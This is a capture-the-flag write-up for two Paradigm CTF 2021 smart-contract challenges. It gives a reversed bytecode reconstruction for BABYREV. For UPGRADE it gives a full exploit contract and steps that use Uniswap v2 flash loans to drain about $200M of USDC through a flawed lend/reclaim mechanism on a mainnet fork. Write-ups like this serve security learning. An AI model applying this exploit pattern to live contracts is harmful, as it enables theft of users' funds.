# Paradigm CTF 2021 Solutions
For now only consists of those that I was personally involved with and that are missing by [cmichel's impressive writeup](https://cmichel.io/paradigm-ctf-2021-solutions/).
## BABYREV
This was the problem we spent by far the most time on. It consists of a `Challenge` contract without source code, with an internal flag that has to be set to `true`.
We ended up manually annotating the entire opcode-level path from contract start to the only contract `SSTORE`. You can find our annotated version [here](https://gist.github.com/SamWilsn/f850807af39bdddbb88bbe44c787e376).
In total, we annotated 521 opcodes with 5078 stack items.
At the end, we were able to reconstruct the logic of the `solve(uint256)` function responsible for setting the contract flag:
```c
// permutation array, constisting of all 256 bytes 0x00 - 0xff in scrambled order
a_arr = hex"637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16"
// target string
t_str = hex"504354467b763332795f3533637532335f336e633279703731306e5f34313930323137686d7d"
// base string
b_str = hex"311dfa5451963f33b16e63f0c62278c9b907e43d1961cdf9f590a0c3b351c04019cccb831403"
// initial "weird" uint256
weird = input_arg
for (i = 0; i < len(b_str); i++) {
weird_byte = weird && 0xff // least significant byte of weird
b_str[i] ^= weird_byte // xor base string byte with it
new_weird = 0x00 // build next weird byte-by-byte
for (j = 0; j < 32 * 8; j += 8) {
perm_idx = (weird >> j) && 0xff // use j-th byte of previous weird
elem = a_arr[perm_idx] // permute via permutation array
new_weird |= elem << j // add new byte to the left of new_weird
}
// roll new_weird by one byte to the right
weird = (new_weird && 0xff) << 31 * 8 | new_weird >> 8
}
target_hash = sha3(t_str) // constant
our_hash = sha3(b_str) // xor result, dependent on input_arg
if (target_hash == our_hash) {
set_solved_flag() // flag is queried by Setup contract
}
```
With that, we were able to calculate the input value required for the xor'd base string to equal the target string.
## UPGRADE
This was my personal favorite - when else do you have the chance to (ethically) steal $200M?
The challenge consists of an upgraded `FiatTokenV3` version of the `USDC` token contract, introducing a new lending mechanism.
The way the lending mechanism works is rather simple:
```javascript
function lend(address to, uint amount) external returns (bool) {
_loans[msg.sender][to] = _loans[msg.sender][to].add(amount);
_transfer(msg.sender, to, amount);
return true;
}
function reclaim(address from, uint amount) external returns (bool) {
_loans[msg.sender][from] = _loans[msg.sender][from].sub(amount, "FiatTokenV3: decreased loans below zero");
_transfer(from, msg.sender, amount);
return true;
}
```
Importantly, the lend function results in a normal transfer of funds to the borrower. For contracts not aware of the functionality, it looks like they are now the proper owner of these funds. However, the lender can unilaterally reclaim the loan at any time, as long as the borrower has sufficient funds in their account.
This can be easily exploited via flash loans (remember, we are on a fresh fork of mainnet). Importantly, for it to be exploitable, the flash loan has to use a push pattern where the user actively re-pays the funds at the end of the transaction (as opposed to a pull pattern where the user only authorizes the repayment and the calls into the flash loan contract to close the position). Aave v1 used such a push pattern, but does not quite have the required $200M USDC liquidity anymore. Aave v2 and dYdX use a pull pattern. Luckily, Uniswap v2 uses a push pattern, and across its largest 3 USDC pairs offers sufficient liquidity. We ended up with the following `Exploiter` contract:
```javascript
contract Exploiter {
FiatTokenV3 public constant USDC = FiatTokenV3(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
IWETH9 public constant WETH = IWETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
IUniswapV2Pair public constant USDCWETH = IUniswapV2Pair(0xB4e16d0168e52d35CaCD2c6185b44281Ec28C9Dc);
// convenience function for initial funding to pay for flash loan fees
function swap(uint256 amount) external payable {
uint256 value = msg.value;
WETH.deposit{value: value}();
WETH.transfer(address(USDCWETH), value);
USDCWETH.swap(amount, 0, address(this), hex"");
}
// starting point of the exploit, triggered once per USDC Uniswap pair
function exploit(IUniswapV2Pair pair, uint256 amount0, uint256 amount1) external {
pair.swap(amount0, amount1, address(this), hex"00");
uint256 paid = (amount0 + amount1) * 1004 / 1000;
USDC.reclaim(address(pair), paid);
}
// callback from Uniswap flash loan
function uniswapV2Call(address, uint amount0, uint amount1, bytes calldata) external {
uint256 topay = (amount0 + amount1) * 1004 / 1000;
USDC.lend(msg.sender, topay);
}
// withdraw funds at the end
function withdraw(address to, uint256 amount) external {
USDC.transfer(to, amount);
}
}
```
With this, the steps for the exploits were:
1. deploy `Exploiter`
2. use `swap` to fund the exploiter with some USDC
3. for each of the 3 largest USDC pairs, call `exploit` to steal (most of) the pair's USDC reserves
4. withdraw the $200M USDC to the Setup contract